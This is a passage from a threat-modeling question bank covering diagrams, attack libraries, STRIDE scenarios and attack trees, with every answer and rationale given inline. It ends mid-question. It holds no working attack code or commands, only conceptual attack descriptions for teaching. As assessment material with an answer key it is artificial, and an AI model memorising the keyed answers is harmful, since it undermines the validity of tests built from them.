- B. Model only the database and no supporting services
- C. Include the log flow and the trust relationships around the analysis service
- D. Treat logs as irrelevant because they are not business data

Answer: C. Include the log flow and the trust relationships around the analysis service

Why: Supporting flows and privileged interactions can create security-relevant attack surfaces.

Lecture source: p. 18

Q64. [True / False] A model of data flow should focus on data flow rather than control flow, while remembering that each transition implies processing.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: The update guidance emphasizes data flow and the processing implied by transitions.

Lecture source: p. 53

4. Swim lanes, state machines, and UML

12 questions. Answers appear immediately below each item.

Q65. [Single answer] What is the main idea of a swim-lane diagram?

- A. Show communication among two or more entities, with each entity represented in a lane
- B. Show only data stored in one database
- C. List every CVE in a system
- D. Calculate a DREAD score automatically

Answer: A. Show communication among two or more entities, with each entity represented in a lane

Why: Swim lanes make interactions and implicit boundaries visible.

Lecture source: p. 22

Q66. [Single answer] Why are swim-lane diagrams useful for network communication?

- A. They eliminate the need for protocols
- B. They prove that packets are encrypted
- C. They show only physical cables
- D. They show which entity performs each step and where interactions cross lanes

Answer: D. They show which entity performs each step and where interactions cross lanes

Why: The lane structure helps reason about exchanges between participants.

Lecture source: p. 22

Q67. [True / False] Boundaries between swim lanes can be treated as implicit interaction boundaries.

- A. Only during penetration testing
- B. Only after deployment
- C. True
- D. False

Answer: C. True

Why: Each lane represents an entity, so crossing lanes reveals an interaction.

Lecture source: p. 22

Q68. [Single answer] What is the main security use of a state machine?

- A. Replace every DFD
- B. Reason about transitions that change security state
- C. Store user passwords
- D. List open ports

Answer: B. Reason about transitions that change security state

Why: State transitions such as login or privilege changes can be security-critical.

Lecture source: p. 23

Q69. [Mini case study] A user moves from unauthenticated to authenticated and later to administrator privileges. Which diagram type best highlights these changes?

- A. State machine
- B. Asset inventory only
- C. Static packet-filter rule list
- D. A vulnerability database

Answer: A. State machine

Why: State machines highlight security-relevant states and transitions.

Lecture source: p. 23

Q70. [Mini case study] A service should permit a privilege transition only after a successful authorization check. What should the model emphasize?

- A. The color of each state node
- B. A list of unrelated CVEs
- C. Only the final state name
- D. The transition condition between states

Answer: D. The transition condition between states

Why: Security depends on the conditions controlling state changes.

Lecture source: p. 23

Q71. [Comparison] Which statement best distinguishes a DFD from a UML activity diagram?

- A. An activity diagram cannot show actions
- B. They are unrelated to threat modeling
- C. A DFD emphasizes data exchange, while an activity diagram can emphasize process flow
- D. A DFD always contains source code

Answer: C. A DFD emphasizes data exchange, while an activity diagram can emphasize process flow

Why: Different diagram types can be adapted for different analysis needs.

Lecture source: p. 23

Q72. [True / False] UML stands for Unified Modeling Language.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: UML diagrams can be adapted for security analysis.

Lecture source: p. 23

Q73. [EXCEPT / NOT] All of the following can be useful reasons to use a state machine EXCEPT:

- A. To identify the geographic location of every attacker
- B. To analyze authentication transitions
- C. To analyze privilege escalation transitions
- D. To reason about security-state changes

Answer: A. To identify the geographic location of every attacker

Why: State machines model states and transitions, not attacker geolocation.

Lecture source: p. 23

Q74. [Assertion-reason] Assertion: No single diagram type answers every threat-modeling question.

Reason: Different diagrams highlight data movement, entity interaction, state transitions, or process flow.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Diagram choice should match the aspect being analyzed.

Lecture source: pp. 14, 17, 22-23

Q75. [Diagram reasoning] A model places a client, server, and database in separate horizontal bands and shows requests moving between them. Which representation is most likely being used?

- A. Attack library entry
- B. Source-code diff
- C. Swim-lane diagram
- D. Password hash table

Answer: C. Swim-lane diagram

Why: Lanes separate communicating entities.

Lecture source: p. 22

Q76. [Diagram reasoning] A model contains states named "logged out," "logged in," and "administrator" with labeled transitions. Which representation is most likely being used?

- A. DNS zone file
- B. State machine
- C. Data store inventory
- D. Packet capture

Answer: B. State machine

Why: States and labeled transitions are characteristic of state machines.

Lecture source: p. 23

5. Structured threat search and attack libraries

17 questions. Answers appear immediately below each item.

Q77. [Single answer] Why use structured tools when searching for threats?

- A. To improve completeness, predictability, and efficiency
- B. To guarantee that no attack will ever occur
- C. To avoid reviewing the actual system
- D. To replace human judgment with one keyword search

Answer: A. To improve completeness, predictability, and efficiency

Why: Structure helps teams search systematically without getting lost.

Lecture source: p. 25

Q78. [Select all that apply] Which tools can guide a structured threat search?

- A. PASTA
- B. Attack trees
- C. A random list with no relationship to the system
- D. Attack libraries
- E. STRIDE

Answer: A, B, D, E. Attack libraries; STRIDE; PASTA; Attack trees

Why: Threat libraries, methodologies, and trees provide search structure.

Lecture source: p. 25

Q79. [Single answer] What is the main value of an attack library?

- A. It proves the current design is secure
- B. It replaces the need to understand the system
- C. It provides organized information about known threats and vulnerabilities to inspire systematic analysis
- D. It automatically patches every vulnerable system

Answer: C. It provides organized information about known threats and vulnerabilities to inspire systematic analysis

Why: Libraries support completeness and predictable threat discovery.

Lecture source: p. 26

Q80. [Classification] Which description best matches OWASP?

- A. A vulnerability-information resource
- B. Security guidance and categories such as prominent web-application risks
- C. Common attack-pattern enumeration and classification
- D. Identifiers and records for publicly known vulnerabilities and exposures

Answer: B. Security guidance and categories such as prominent web-application risks

Why: OWASP is one example of an information source that can support structured security research.

Lecture source: p. 26

Q81. [Classification] Which description best matches CAPEC?

- A. Common attack-pattern enumeration and classification
- B. Security guidance and categories such as prominent web-application risks
- C. Identifiers and records for publicly known vulnerabilities and exposures
- D. A vulnerability-information resource

Answer: A. Common attack-pattern enumeration and classification

Why: CAPEC is one example of an information source that can support structured security research.

Lecture source: p. 26

Q82. [Classification] Which description best matches CVE?

- A. Security guidance and categories such as prominent web-application risks
- B. Common attack-pattern enumeration and classification
- C. A vulnerability-information resource
- D. Identifiers and records for publicly known vulnerabilities and exposures

Answer: D. Identifiers and records for publicly known vulnerabilities and exposures

Why: CVE is one example of an information source that can support structured security research.

Lecture source: p. 26

Q83. [Classification] Which description best matches CMU Vulnerability Notes Database?

- A. Common attack-pattern enumeration and classification
- B. Identifiers and records for publicly known vulnerabilities and exposures
- C. A vulnerability-information resource
- D. Security guidance and categories such as prominent web-application risks

Answer: C. A vulnerability-information resource

Why: CMU Vulnerability Notes Database is one example of an information source that can support structured security research.

Lecture source: p. 26

Q84. [Classification] Which description best matches Exploit-DB?

- A. Identifiers and records for publicly known vulnerabilities and exposures
- B. A repository that can help research publicly documented exploit information
- C. Security guidance and categories such as prominent web-application risks
- D. Common attack-pattern enumeration and classification

Answer: B. A repository that can help research publicly documented exploit information

Why: Exploit-DB is one example of an information source that can support structured security research.

Lecture source: p. 26

Q85. [Classification] Which description best matches NVD?

- A. A vulnerability-description resource linked to vulnerability research
- B. Security guidance and categories such as prominent web-application risks
- C. Common attack-pattern enumeration and classification
- D. Identifiers and records for publicly known vulnerabilities and exposures

Answer: A. A vulnerability-description resource linked to vulnerability research

Why: NVD is one example of an information source that can support structured security research.

Lecture source: p. 26

Q86. [Comparison] Which comparison between attack libraries and STRIDE is most accurate?

- A. STRIDE is a database of patches, while CVE is a diagram notation
- B. Attack trees are operating-system controls, while CAPEC is a firewall
- C. OWASP and DREAD are identical scoring systems
- D. An attack library supplies examples and categories, while STRIDE supplies a general categorization lens

Answer: D. An attack library supplies examples and categories, while STRIDE supplies a general categorization lens

Why: Libraries and methodologies play complementary roles.

Lecture source: pp. 25-28

Q87. [True / False] Attack libraries should be treated as inspiration and structure, not as proof that every relevant threat has been covered.

- A. Only during penetration testing
- B. Only after deployment
- C. True
- D. False

Answer: C. True

Why: Known-threat sources improve completeness but cannot guarantee perfect coverage.

Lecture source: pp. 25-26, 54

Q88. [True / False] A threat library is useful only after an incident has already occurred.

- A. Only after deployment
- B. False
- C. True
- D. Only during penetration testing

Answer: B. False

Why: Libraries can support design-time threat identification.

Lecture source: pp. 25-26

Q89. [Mini case study] A new web application team wants examples of common risk categories to stimulate review. Which type of resource is especially appropriate?

- A. An attack library such as OWASP guidance
- B. A course schedule
- C. A list of employee birthdays
- D. A packet-capture file from an unrelated system

Answer: A. An attack library such as OWASP guidance

Why: Known categories help structure the threat search.

Lecture source: p. 26

Q90. [Mini case study] A team wants to organize possible ways to achieve a high-level attack goal such as account takeover. Which tool is especially appropriate?

- A. A state-machine node with no branches
- B. A vulnerability scanner report only
- C. A single password policy
- D. An attack tree

Answer: D. An attack tree

Why: Attack trees connect a goal to alternative paths and subgoals.

Lecture source: pp. 25, 38-42

Q91. [EXCEPT / NOT] All of the following are useful qualities of a structured threat search EXCEPT:

- A. Predictability
- B. Repeatability
- C. Dependence on a single analyst remembering every attack from memory
- D. Completeness

Answer: C. Dependence on a single analyst remembering every attack from memory

Why: Structure reduces dependence on memory alone.

Lecture source: pp. 25-26

Q92. [Assertion-reason] Assertion: Experienced analysts still benefit from threat-search structure. Reason: A repeatable checklist or tree reduces the chance that familiar but important categories are skipped.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Structure complements expertise.

Lecture source: pp. 25-28, 37

Q93. [Defensive design] A team has a DFD but no organized method for examining each element. What is a practical next step?

- A. Apply a structured method such as STRIDE to each relevant part of the model
- B. Delete the DFD
- C. Review only the largest database
- D. Assume threats occur only at the outer boundary

Answer: A. Apply a structured method such as STRIDE to each relevant part of the model

Why: STRIDE can guide systematic examination of modeled elements.

Lecture source: pp. 28, 37

6. STRIDE categories and violated properties

23 questions. Answers appear immediately below each item.

Q94. [Classification] Which STRIDE category best matches this description: Impersonating a user, machine, or role?

- A. Tampering
- B. Repudiation
- C. Information disclosure
- D. Spoofing

Answer: D. Spoofing

Why: Spoofing is associated with Authentication.

Lecture source: pp. 28-30

Q95. [Single answer] Which security property is most directly challenged by Spoofing?

- A. Non-repudiation
- B. Confidentiality
- C. Authentication
- D. Integrity

Answer: C. Authentication

Why: In STRIDE, Spoofing maps to Authentication.

Lecture source: pp. 28-30

Q96. [Classification] Which STRIDE category best matches this description: Unauthorized modification of data, code, files, or links?

- A. Information disclosure
- B. Tampering
- C. Spoofing
- D. Repudiation

Answer: B. Tampering

Why: Tampering is associated with Integrity.

Lecture source: pp. 28-29, 31

Q97. [Single answer] Which security property is most directly challenged by Tampering?

- A. Integrity
- B. Authentication
- C. Non-repudiation
- D. Confidentiality

Answer: A. Integrity

Why: In STRIDE, Tampering maps to Integrity.

Lecture source: pp. 28-29, 31

Q98. [Classification] Which STRIDE category best matches this description: Denying an action or undermining reliable evidence that it occurred?

- A. Spoofing
- B. Tampering
- C. Information disclosure
- D. Repudiation

Answer: D. Repudiation

Why: Repudiation is associated with Non-repudiation.

Lecture source: pp. 28-29, 32

Q99. [Single answer] Which security property is most directly challenged by Repudiation?

- A. Integrity
- B. Confidentiality
- C. Non-repudiation
- D. Authentication

Answer: C. Non-repudiation

Why: In STRIDE, Repudiation maps to Non-repudiation.

Lecture source: pp. 28-29, 32

Q100. [Classification] Which STRIDE category best matches this description: Exposing information to someone not authorized to see it?

- A. Repudiation
- B. Information disclosure
- C. Spoofing
- D. Tampering

Answer: B. Information disclosure

Why: Information disclosure is associated with Confidentiality.

Lecture source: pp. 28-29, 33-34

Q101. [Single answer] Which security property is most directly challenged by Information disclosure?

- A. Confidentiality
- B. Authentication
- C. Integrity
- D. Non-repudiation

Answer: A. Confidentiality

Why: In STRIDE, Information disclosure maps to Confidentiality.

Lecture source: pp. 28-29, 33-34

Q102. [Classification] Which STRIDE category best matches this description: Denying or degrading service to legitimate users?

- A. Spoofing
- B. Tampering
- C. Repudiation
- D. Denial of service

Answer: D. Denial of service

Why: Denial of service is associated with Availability.

Lecture source: pp. 28-29, 35

Q103. [Single answer] Which security property is most directly challenged by Denial of service?

- A. Integrity
- B. Non-repudiation
- C. Availability
- D. Authentication

Answer: C. Availability

Why: In STRIDE, Denial of service maps to Availability.

Lecture source: pp. 28-29, 35

Q104. [Classification] Which STRIDE category best matches this description: Gaining capabilities without proper authorization?

- A. Repudiation
- B. Elevation of privilege
- C. Spoofing
- D. Tampering

Answer: B. Elevation of privilege

Why: Elevation of privilege is associated with Authorization.

Lecture source: pp. 28-29, 36

Q105. [Single answer] Which security property is most directly challenged by Elevation of privilege?

- A. Authorization
- B. Authentication
- C. Integrity
- D. Non-repudiation

Answer: A. Authorization

Why: In STRIDE, Elevation of privilege maps to Authorization.

Lecture source: pp. 28-29, 36

Q106. [Single answer] What does the acronym STRIDE represent?

- A. Scanning, Testing, Reporting, Inspection, Detection, and Encryption
- B. Security, Trust, Risk, Identity, Data, and Events
- C. Spoofing, Transfer, Recovery, Isolation, Defense, and Exploitation
- D. Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege

Answer: D. Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege

Why: STRIDE is a threat-identification and categorization method.

Lecture source: p. 28

Q107. [Single answer] Why is STRIDE useful for mixed technical and non-technical stakeholders?

- A. It avoids discussing business impact
- B. It models only packet headers
- C. Its threat categories are business-oriented and relatively easy to relate to
- D. It requires all stakeholders to write exploit code

Answer: C. Its threat categories are business-oriented and relatively easy to relate to

Why: The categories help teams communicate about threats systematically.

Lecture source: p. 28

Q108. [True / False] STRIDE can be used as a checklist when planning a penetration test or review.

- A. Only after deployment
- B. True
- C. False
- D. Only during penetration testing

Answer: B. True

Why: The lecture notes that STRIDE can help identify threats and guide review.

Lecture source: p. 28

Q109. [True / False] STRIDE is a vulnerability database that assigns CVE identifiers.

- A. False
- B. True
- C. Only during penetration testing
- D. Only after deployment

Answer: A. False

Why: STRIDE is a threat-categorization methodology, not a vulnerability database.

Lecture source: pp. 26, 28

Q110. [Select all that apply] Which pairings are correct?

- A. Denial of service - Availability
- B. Elevation of privilege - Authorization
- C. Spoofing - Availability
- D. Spoofing - Authentication
- E. Tampering - Integrity
- F. Repudiation - Non-repudiation
- G. Information disclosure - Confidentiality

Answer: A, B, D, E, F, G. Spoofing - Authentication; Tampering - Integrity; Repudiation - Non-repudiation; Information disclosure - Confidentiality; Denial of service - Availability; Elevation of privilege - Authorization

Why: STRIDE connects threat types to the security properties they violate.

Lecture source: p. 29

Q111. [EXCEPT / NOT] All of the following are STRIDE categories EXCEPT:

- A. Repudiation
- B. Elevation of privilege
- C. Password complexity
- D. Spoofing

Answer: C. Password complexity

Why: Password complexity may be a control consideration, but it is not a STRIDE category.

Lecture source: p. 28

Q112. [Comparison] Which comparison between spoofing and elevation of privilege is most accurate?

- A. Repudiation concerns encryption strength only
- B. Spoofing concerns false identity, while elevation of privilege concerns unauthorized capability
- C. Spoofing and elevation of privilege are always identical
- D. Tampering concerns service uptime, while denial of service concerns confidentiality

Answer: B. Spoofing concerns false identity, while elevation of privilege concerns unauthorized capability

Why: STRIDE categories address different failure modes.

Lecture source: p. 29

Q113. [Comparison] Which comparison between tampering and information disclosure is most accurate?

- A. Tampering alters data or code, while information disclosure exposes data to unauthorized parties
- B. Tampering and information disclosure always have the same impact
- C. Information disclosure modifies files, while tampering only affects passwords
- D. Both categories are limited to network traffic

Answer: A. Tampering alters data or code, while information disclosure exposes data to unauthorized parties

Why: Integrity and confidentiality failures should be distinguished.

Lecture source: p. 29

Q114. [Assertion-reason] Assertion: A threat may affect more than one security property.

Reason: STRIDE categories are a structured lens, not a claim that real incidents always fit into only one box.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Real attacks can combine spoofing, tampering, disclosure, and other effects.

Lecture source: pp. 28-37

Q115. [Misconception check] A user account is taken over and then used to read confidential records. Which statement is most accurate?

- A. Only repudiation is relevant
- B. STRIDE forbids assigning more than one relevant category
- C. The scenario may involve both spoofing and information disclosure
- D. Only availability is relevant

Answer: C. The scenario may involve both spoofing and information disclosure

Why: A single attack path can include multiple threat categories.

Lecture source: pp. 29-30, 33-34

Q116. [Defensive design] How should STRIDE be applied to a model?

- A. Use only the categories that have already caused incidents
- B. Consider how each category could affect each relevant part of the model
- C. Apply one category to the whole system and stop
- D. Use STRIDE only for databases

Answer: B. Consider how each category could affect each relevant part of the model

Why: Systematic iteration improves completeness.

Lecture source: p. 37

7. Applied STRIDE scenarios and defensive reasoning

35 questions. Answers appear immediately below each item.

Q117. [Scenario] Which STRIDE category best fits the following scenario? An attacker sends ARP messages so traffic is associated with the wrong machine identity.

- A. Spoofing
- B. Tampering
- C. Repudiation
- D. Information disclosure

Answer: A. Spoofing

Why: The attacker is impersonating a machine on the network.

Lecture source: p. 30

Q118. [Scenario] Which STRIDE category best fits the following scenario? An attacker forges an IP source address to appear to be a trusted host.

- A. Tampering
- B. Repudiation
- C. Information disclosure
- D. Spoofing

Answer: D. Spoofing

Why: A false machine identity is being presented.

Lecture source: p. 30

Q119. [Scenario] Which STRIDE category best fits the following scenario? An attacker manipulates DNS resolution so users reach an attacker-controlled host.

- A. Repudiation
- B. Information disclosure
- C. Spoofing
- D. Tampering

Answer: C. Spoofing

Why: DNS spoofing or compromise can redirect users to a false destination.

Lecture source: p. 30

Q120. [Scenario] Which STRIDE category best fits the following scenario? An attacker takes over a person's account and sends believable requests as that person.

- A. Information disclosure
- B. Spoofing
- C. Tampering
- D. Repudiation

Answer: B. Spoofing

Why: Account takeover enables person impersonation.

Lecture source: p. 30

Q121. [Scenario] Which STRIDE category best fits the following scenario? An attacker changes a display name to look like a senior manager.

- A. Spoofing
- B. Tampering
- C. Repudiation
- D. Information disclosure

Answer: A. Spoofing

Why: The attack uses identity presentation to impersonate another person.

Lecture source: p. 30

Q122. [Scenario] Which STRIDE category best fits the following scenario? An attacker claims to hold a trusted organizational role without proper verification.

- A. Tampering
- B. Repudiation
- C. Information disclosure
- D. Spoofing

Answer: D. Spoofing

Why: The attacker is impersonating a role.

Lecture source: p. 30

Q123. [Scenario] Which STRIDE category best fits the following scenario? An attacker modifies a configuration file that the application relies on.

- A. Repudiation
- B. Information disclosure
- C. Tampering
- D. Spoofing

Answer: C. Tampering

Why: Unauthorized modification threatens integrity.

Lecture source: p. 31

Q124. [Scenario] Which STRIDE category best fits the following scenario? An attacker changes a redirect so users are sent to a malicious destination.

- A. Information disclosure
- B. Tampering
- C. Spoofing
- D. Repudiation

Answer: B. Tampering

Why: Modifying links or redirects is a form of integrity attack.

Lecture source: p. 31

Q125. [Scenario] Which STRIDE category best fits the following scenario? An attacker injects misleading text into logs so investigators cannot reliably interpret an event.

- A. Repudiation
- B. Spoofing
- C. Tampering
- D. Information disclosure

Answer: A. Repudiation

Why: Confusing or undermining logs weakens accountability.

Lecture source: p. 32

Q126. [Scenario] Which STRIDE category best fits the following scenario? A system has no logs for sensitive actions, allowing a user to deny performing them.

- A. Spoofing
- B. Tampering
- C. Information disclosure
- D. Repudiation

Answer: D. Repudiation

Why: Missing evidence enables denial of actions.

Lecture source: p. 32

Q127. [Scenario] Which STRIDE category best fits the following scenario? An application returns database credentials inside an error message.

- A. Tampering
- B. Repudiation
- C. Information disclosure
- D. Spoofing

Answer: C. Information disclosure

Why: Secrets are exposed to an unauthorized user.

Lecture source: p. 33

Q128. [Scenario] Which STRIDE category best fits the following scenario? A query flaw lets an unauthorized user read rows from a database table.

- A. Repudiation
- B. Information disclosure
- C. Spoofing
- D. Tampering

Answer: B. Information disclosure

Why: The process returns data it should not reveal.

Lecture source: p. 33

Q129. [Scenario] Which STRIDE category best fits the following scenario? An observer reads unprotected traffic traveling over a network.

- A. Information disclosure
- B. Spoofing
- C. Tampering
- D. Repudiation

Answer: A. Information disclosure

Why: Confidentiality of the data flow is lost.

Lecture source: p. 34

Q130. [Scenario] Which STRIDE category best fits the following scenario? An observer infers who communicates with whom by analyzing DNS traffic.

- A. Spoofing
- B. Tampering
- C. Repudiation
- D. Information disclosure

Answer: D. Information disclosure

Why: Metadata can reveal sensitive relationships.

Lecture source: p. 34

Q131. [Scenario] Which STRIDE category best fits the following scenario? An attacker fills a disk until a service can no longer write required files.

- A. Tampering
- B. Repudiation
- C. Denial of service
- D. Spoofing

Answer: C. Denial of service

Why: Resource exhaustion reduces availability and may persist after the traffic stops.

Lecture source: p. 35

Q132. [Scenario] Which STRIDE category best fits the following scenario? An attacker causes a process to consume nearly all available CPU time.

- A. Repudiation
- B. Denial of service
- C. Spoofing
- D. Tampering

Answer: B. Denial of service

Why: CPU exhaustion degrades or denies service.

Lecture source: p. 35

Q133. [Scenario] Which STRIDE category best fits the following scenario? An attacker sends enough login attempts to trigger business-logic lockouts for legitimate users.

- A. Denial of service
- B. Spoofing
- C. Tampering
- D. Repudiation

Answer: A. Denial of service

Why: Availability can be attacked through application logic.

Lecture source: p. 35

Q134. [Scenario] Which STRIDE category best fits the following scenario? An attacker floods a network path until legitimate requests cannot get through.

- A. Spoofing
- B. Tampering
- C. Repudiation
- D. Denial of service

Answer: D. Denial of service

Why: Network-resource exhaustion attacks availability.

Lecture source: p. 35

Q135. [Scenario] Which STRIDE category best fits the following scenario? Malformed input causes a process to corrupt memory and execute with greater privileges.

- A. Tampering
- B. Repudiation
- C. Elevation of privilege
- D. Spoofing

Answer: C. Elevation of privilege

Why: Process corruption can grant unauthorized capabilities.

Lecture source: p. 36

Q136. [Scenario] Which STRIDE category best fits the following scenario? A user modifies bits on disk to gain administrative capabilities after restart.

- A. Repudiation
- B. Elevation of privilege
- C. Spoofing
- D. Tampering

Answer: B. Elevation of privilege

Why: Data tampering can become a path to unauthorized privilege.

Lecture source: p. 36

Q137. [Scenario] Which STRIDE category best fits the following scenario? A developer forgets an authorization check on one administrative endpoint.

- A. Elevation of privilege
- B. Spoofing
- C. Tampering
- D. Repudiation

Answer: A. Elevation of privilege

Why: Missing or inconsistent checks can expose privileged actions.

Lecture source: p. 36

Q138. [Select all that apply] Which activities are examples of machine spoofing or redirection threats?

- A. Filling a disk with data
- B. ARP spoofing
- C. IP spoofing
- D. DNS spoofing
- E. DNS compromise
- F. IP redirection

Answer: B, C, D, E, F. ARP spoofing; IP spoofing; DNS spoofing; DNS compromise; IP redirection

Why: These examples alter or impersonate network identity or destination behavior.

Lecture source: p. 30

Q139. [Select all that apply] Which situations can create repudiation risk?

- A. Secure timestamps are missing
- B. A website uses TLS for transport
- C. Sensitive actions are not logged
- D. Logs can be modified without detection
- E. Attacker-controlled input is written into logs without safe handling

Answer: A, C, D, E. Sensitive actions are not logged; Logs can be modified without detection; Attacker-controlled input is written into logs without safe handling; Secure timestamps are missing

Why: Reliable evidence and trustworthy logs support non-repudiation.

Lecture source: pp. 32, 46

Q140. [Select all that apply] Which situations are information-disclosure threats?

- A. Increasing the size of a connection backlog
- B. Reading data from network traffic
- C. Leaking secrets in error messages
- D. Unauthorized SQL query results
- E. Inferring relationships from metadata

Answer: B, C, D, E. Reading data from network traffic; Leaking secrets in error messages; Unauthorized SQL query results; Inferring relationships from metadata

Why: Disclosure can occur through content, errors, processes, traffic, or metadata.

Lecture source: pp. 33-34

Q141. [Select all that apply] Which situations can cause denial of service?

- A. Absorbing CPU
- B. Consuming network resources
- C. Triggering too many-login-attempt lockouts
- D. Adding a digital signature to a file
- E. Exhausting RAM
- F. Filling a disk

Answer: A, B, C, E, F. Exhausting RAM; Filling a disk; Absorbing CPU; Consuming network resources; Triggering too many-login-attempt lockouts

Why: Availability can be attacked at processes, stores, flows, and business logic.

Lecture source: p. 35

Q142. [Select all that apply] Which situations can contribute to elevation of privilege?

- A. Misused authorization checks
- B. Buggy authorization checks
- C. Tampering with privilege-relevant data on disk
- D. Secure log storage
- E. Process corruption

Answer: A, B, C, E. Process corruption; Misused authorization checks; Buggy authorization checks; Tampering with privilege-relevant data on disk

Why: Elevation of privilege arises when authorization is bypassed or privilege-relevant state is corrupted.

Lecture source: p. 36

Q143. [Comparison] Which comparison between temporary and persistent denial-of-service effects is most accurate?

- A. A filled disk is only an information-disclosure issue
- B. Network floods always modify application code
- C. A temporary network flood may end when traffic stops, while a filled disk can continue affecting service afterward
- D. Every denial-of-service effect disappears immediately

Answer: C. A temporary network flood may end when traffic stops, while a filled disk can continue affecting service afterward

Why: Some availability failures persist beyond the active attack.

Lecture source: p. 35

Q144. [Mini case study] A security review finds authorization checks duplicated inconsistently across many endpoints. What improvement is most appropriate?

- A. Rely on users to avoid privileged endpoints
- B. Centralize authorization checking where practical to improve consistency and correctness
- C. Add more copies of the same check
- D. Remove all authorization checks

Answer: B. Centralize authorization checking where practical to improve consistency and correctness

Why: Centralization can make authorization behavior easier to review and maintain.

Lecture source: p. 36

Q145. [Troubleshooting] A web application includes raw attacker-controlled strings in an HTML log viewer. Which concern should reviewers raise?

- A. Log injection or confusing log output can undermine reliable investigation
- B. Only network availability is affected
- C. The risk is eliminated because logs exist
- D. The issue is unrelated to repudiation

Answer: A. Log injection or confusing log output can undermine reliable investigation

Why: Logs must be reliable evidence rather than attacker-controlled output.

Lecture source: p. 32

Q146. [Troubleshooting] A service returns a verbose database connection error containing a username and password. What is the best classification and fix?

- A. Tampering; expose more details to simplify debugging
- B. Denial of service; increase CPU capacity
- C. Spoofing; remove the database
- D. Information disclosure; show a generic user-facing error and protect sensitive diagnostics

Answer: D. Information disclosure; show a generic user-facing error and protect sensitive diagnostics

Why: User-facing errors should not reveal machine secrets.

Lecture source: p. 33

Q147. [Assertion-reason] Assertion: Encrypted payloads do not necessarily hide all sensitive information.

Reason: Traffic metadata such as who communicates with whom can still reveal secrets.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Information disclosure includes metadata analysis.

Lecture source: p. 34

Q148. [Assertion-reason] Assertion: A single missing authorization check can have high impact.

Reason: It may allow a user to invoke privileged functionality without proper authorization.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Authorization consistency is crucial for preventing elevation of privilege.

Lecture source: p. 36

Q149. [EXCEPT / NOT] All of the following are examples of information-disclosure risk EXCEPT:

- A. A user modifies a configuration file to change application behavior
- B. An error message reveals a database secret
- C. A network observer reads cleartext traffic
- D. A query flaw returns unauthorized records

Answer: A. A user modifies a configuration file to change application behavior

Why: Modification of a file is primarily tampering.

Lecture source: pp. 31, 33-34

Q150. [EXCEPT / NOT] All of the following are denial-of-service mechanisms EXCEPT:

- A. Consuming CPU
- B. Filling a data store
- C. Consuming network resources
- D. Impersonating an employee by setting a misleading display name

Answer: D. Impersonating an employee by setting a misleading display name

Why: Misleading identity is spoofing, not resource exhaustion.

Lecture source: pp. 30, 35

Q151. [Defensive design] A threat modeler wants to avoid treating SQL injection only as a data-store issue. What additional question should be asked?

- A. Can the diagram omit the process entirely?
- B. Is SQL injection only a denial-of-service concern?
- C. Could the application process return data that the requester is not authorized to see?
- D. What color is the database icon?

Answer: C. Could the application process return data that the requester is not authorized to see?

Why: Disclosure may arise because a process returns unauthorized data.

Lecture source: p. 33

8. Attack trees and hierarchical reasoning

14 questions. Answers appear immediately below each item.

Q152. [Single answer] What is an attack tree?

- A. A list of every employee with access
- B. A branching hierarchical structure that represents ways an attacker could reach a security goal
- C. A log file containing one incident
- D. A diagram that shows only network cables

Answer: B. A branching hierarchical structure that represents ways an attacker could reach a security goal

Why: Attack trees organize attack goals, paths, and lower-level techniques.

Lecture source: p. 38

Q153. [Single answer] What does the root node of an attack tree represent?

- A. The security incident or attacker goal being analyzed
- B. The least important leaf detail
- C. A mandatory firewall rule
- D. The programming language used by the system

Answer: A. The security incident or attacker goal being analyzed

Why: Branches expand from the goal into alternative ways to achieve it.

Lecture source: p. 38

Q154. [Single answer] What do leaf nodes in an attack tree represent?

- A. The final business owner of the risk
- B. The only acceptable mitigation
- C. A version number for the system
- D. Concrete ways to initiate or carry out an attack path

Answer: D. Concrete ways to initiate or carry out an attack path

Why: Leaf nodes are the terminal techniques on paths outward from the root.

Lecture source: p. 38

Q155. [True / False] An attack tree helps connect detailed attack ideas to a larger security goal.

- A. Only during penetration testing
- B. Only after deployment
- C. True
- D. False

Answer: C. True

Why: It preserves both the big picture and hierarchical detail.

Lecture source: pp. 38-39

Q156. [Comparison] Which comparison between STRIDE and attack trees is most accurate?

- A. STRIDE is only for logs, while attack trees are only for passwords
- B. STRIDE helps categorize threat types, while an attack tree organizes alternative paths toward a goal
- C. STRIDE and attack trees are identical databases
- D. An attack tree assigns CVE numbers, while STRIDE patches systems

Answer: B. STRIDE helps categorize threat types, while an attack tree organizes alternative paths toward a goal

Why: The tools complement each other.

Lecture source: pp. 25, 28, 38-42

Q157. [Mini case study] A team wants to analyze different paths to unauthorized administrative access. What is a sensible root node?

- A. Gain administrative access
- B. Use a specific programming language
- C. Draw a decorative boundary
- D. List every source-code file

Answer: A. Gain administrative access

Why: The root should state the security goal or incident of concern.

Lecture source: p. 42

Q158. [Mini case study] A team finds a relevant attack tree from a trusted source. What should it do next?

- A. Assume every branch applies automatically
- B. Discard the system model
- C. Use only the tree and skip validation
- D. Iterate through the system model and ask whether each relevant branch applies

Answer: D. Iterate through the system model and ask whether each relevant branch applies

Why: A tree becomes useful when applied carefully to the actual system.

Lecture source: p. 42

Q159. [Sequence] Which sequence is reasonable when creating an attack tree?

- A. Choose random leaves -> deploy the system -> ignore completeness
- B. Start with mitigations only -> remove all paths -> skip review
